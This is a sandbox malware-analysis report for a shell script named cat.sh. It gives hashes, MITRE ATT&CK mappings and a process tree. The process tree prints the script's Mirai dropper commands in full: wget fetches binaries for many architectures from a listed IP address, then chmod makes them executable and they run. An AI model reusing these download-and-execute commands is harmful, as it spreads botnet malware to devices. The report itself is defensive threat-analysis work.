ec2913b36b2febcf01a9f097cf4bcb3a35553bdcf331c697f5acc54d59e0dc80

Analysis

max time kernel
145s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20260127-en
resource tags

arch:armhfimage:debian9-armhf-20260127-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/04/2026, 01:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cat.sh
Size 3KB
Sample260405-cccvascy4s
SHA256 ec2913b36b2febcf01a9f097cf4bcb3a35553bdcf331c697f5acc54d59e0dc80
MD5 f86dab9f11ba4aa886550c7a141f6f3a
SHA1 eff46afe789c44e50be84cf405ea88adf7c9128d
SHA512 6d5f03cbfc61315358338d9286b64f673cab28403827e97d7e0d9dd515140d2c057d322e901c45f5c164ba5194cea9001edc233916103a4a254cb886493defa8
TLSH
T12451D28E125240F9BC45EE17F4669F9078A09FDA4EE38F4EDEDD2B5251CCC146834672
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
762	chmod
768	chmod
812	chmod
748	chmod
786	chmod
792	chmod
798	chmod
671	chmod
722	chmod
774	chmod
804	chmod
780	chmod
818	chmod
824	chmod
830	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/target	672	cat.sh
/tmp/target	723	cat.sh
/tmp/target	750	cat.sh
/tmp/target	763	cat.sh
/tmp/target	769	cat.sh
/tmp/target	775	cat.sh
/tmp/target	781	cat.sh
/tmp/target	787	cat.sh
/tmp/target	793	cat.sh
/tmp/target	799	cat.sh
/tmp/target	806	cat.sh
/tmp/target	813	cat.sh
/tmp/target	819	cat.sh
/tmp/target	825	cat.sh
/tmp/target	831	cat.sh

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
797	wget

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget
File opened for modification	/tmp/target	wget

/tmp/cat.sh
/tmp/cat.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.apk -O target
  2⤵
  - Writes file to tmp directory
  PID:650
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/target
  ./target
  2⤵
  PID:672
- /bin/rm
  rm -rf target
  2⤵
  PID:674
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.arm4 -O target
  2⤵
  - Writes file to tmp directory
  PID:676
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/target
  ./target
  2⤵
  PID:723
- /bin/rm
  rm -rf target
  2⤵
  PID:724
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.arm5 -O target
  2⤵
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/target
  ./target
  2⤵
  PID:750
- /bin/rm
  rm -rf target
  2⤵
  PID:751
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.arm6 -O target
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/target
  ./target
  2⤵
  PID:763
- /bin/rm
  rm -rf target
  2⤵
  PID:764
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.arm7 -O target
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/target
  ./target
  2⤵
  PID:769
- /bin/rm
  rm -rf target
  2⤵
  PID:770
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.dbg -O target
  2⤵
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/target
  ./target
  2⤵
  PID:775
- /bin/rm
  rm -rf target
  2⤵
  PID:777
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.i486 -O target
  2⤵
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/target
  ./target
  2⤵
  PID:781
- /bin/rm
  rm -rf target
  2⤵
  PID:783
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.i686 -O target
  2⤵
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/target
  ./target
  2⤵
  PID:787
- /bin/rm
  rm -rf target
  2⤵
  PID:789
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.m68k -O target
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/target
  ./target
  2⤵
  PID:793
- /bin/rm
  rm -rf target
  2⤵
  PID:795
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.mips -O target
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/target
  ./target
  2⤵
  PID:799
- /bin/rm
  rm -rf target
  2⤵
  PID:801
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.mpsl -O target
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/target
  ./target
  2⤵
  PID:806
- /bin/rm
  rm -rf target
  2⤵
  PID:808
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.sh4 -O target
  2⤵
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/target
  ./target
  2⤵
  PID:813
- /bin/rm
  rm -rf target
  2⤵
  PID:815
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.spc -O target
  2⤵
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/target
  ./target
  2⤵
  PID:819
- /bin/rm
  rm -rf target
  2⤵
  PID:821
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.x64 -O target
  2⤵
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/target
  ./target
  2⤵
  PID:825
- /bin/rm
  rm -rf target
  2⤵
  PID:827
- /usr/bin/wget
  wget http://103.130.214.71:1212/mirai.x86 -O target
  2⤵
  - Writes file to tmp directory
  PID:829
- /bin/chmod
  chmod +x target
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/target
  ./target
  2⤵
  PID:831
- /bin/rm
  rm -rf target
  2⤵
  PID:833

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

target

Path /tmp/target
Size 88KB
SHA256 908a90f59dfcead5fcc6a8ad7eaac7799dadf1ebc083306c0b4c5b5ae23c9e63
MD5 4e94c84d9032e2c49fb2d57acfebe11b
SHA1 6dc12cc2bfe65ef1b2f1edb6fd281ea6f4d26cfe
SHA512 27cd94931984470ec78b01e70bae01ddaf9edf4e26eb6ccf01ed20fcd27a14a399a0042d0134cfb1f7a54a761adfa66a831daacafc19ad3c59a69ef07a3bde63
SSDEEP 1536:C9nORzmu/psBUtnIY/2PuT8J+N+UsaF5PKHpXwmClMiPQpgLscDFtY7/FpFX:X5HjTY8+UsaF5PKHpqQpgLRZtMFXX
TLSH
T1EE930946F9819F02D4D220BAFBAF41493313AFB8E3FA7111D924AF6123869D70F76615
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

target

Path /tmp/target
Size 66KB
SHA256 2bfa803d1e3de85337e3014217cd696395b2fcd43df64faf08d486ef430bf50c
MD5 c9699797d4b800981c8201119c475195
SHA1 231b34efeb274acdc720fecb197e271790ab9ec3
SHA512 404758e796a7939e92a5f3f6094c45aff7a7ba09a098bc1609528ddd4a1306490c7300e7a8102b7dd70335611c50d79006e66b2bfd7adbd6f0e7c379da1ff482
SSDEEP 1536:K5FomVbs6a7Mz0vuPFeozB4yoZvs51sLtptHmrA/8FrLfO6vvTiS:O74gss6KrZTiS
TLSH
T1B9631A86BD419F03C5D220F3BFAF41483B166B69D6EB3243A925AFA423875D70D3B650
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

target

Path /tmp/target
Size 28KB
SHA256 f99a34410fc5e5de197a0f7927188a653744860a7339eb18993dbe6c5de97c26
MD5 e6784d49b6a3b2c1e4897e0a9e2ebe90
SHA1 32c8e3bec999bb446b0237804851addf3ad9b164
SHA512 6eb51b1171bac89c80db18c4a8fa991c8226539bb5eaee5549e4d0a96aa0e4054b395a06607b112a11f1323d6706df7a6b4ef46335b7fac1938c204469a627ea
SSDEEP 768:1RuzddaQ7DSUfiq+S+Y/O+saWC+7o++TW6VQSMU0+pB4O6+hX+L+c+Ib:U7NJ691Uel7CDB4shuqnIb
TLSH
T15FD22BC6BC91CD1BC9F451B76F1F9288331293E1C28B3657C8594B68279B25B0E3BB42
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

target

Path /tmp/target
Size 76KB
SHA256 a037866f92e33a4f8bf7083f211636ff053be45ff7d45fdca24388400323a486
MD5 2506c106b5207c882de9f127e1175d52
SHA1 8b8a06e0b595c25a93a90bb21a4cc99cb53b6bf2
SHA512 05ef83af11d42ebc60df6fe488867611da614166033a6008a3484f6120f8eac642569bd49cc88aef0b36f768eeb00b17c4b35da23331a6e5a319e700f4793b97
SSDEEP 1536:7ABnVH5+KloMpwWZh0pK2VuT32NZkazLg0NMfi/xvsLVHO7UKb+5Kdx6DYahX:7YrKMTmNaaPvsJHO7tqeYBhX
TLSH
T120732B46B9418B12C4C311BAFBAF454D37036FB9D3EF72129924AFA023865E70E7A615
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

target

Path /tmp/target
Size 162KB
SHA256 86c0beb2fa99d0a65b028c6c23ae4385a4d46479194154d3399b871d86e9e5c1
MD5 282b9432f40492b3b8f8e4b45b8f4eb1
SHA1 066994d1b097f441cf6f263e507164448f1c3225
SHA512 5b67ecd8e56e4b7f18d945fde70608ce84fe9d8120fe4c4cb2124c4a02b477988081be4613bdab1ee59cddbd05a264d15603fc2abcdde32abbb8c9c823389e5f
SSDEEP 3072:KesLsYhhR47TehkTrA/Tk9TQoc7S64F2wnNpv/uij0lqZG6:5usYhhRPd/Tk9TQMbpv/uij0lqZG6
TLSH
T150F3C347AB03CF67C54716F106E79B214A23FD3A1E279783E334BDE56E062D46E06628
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads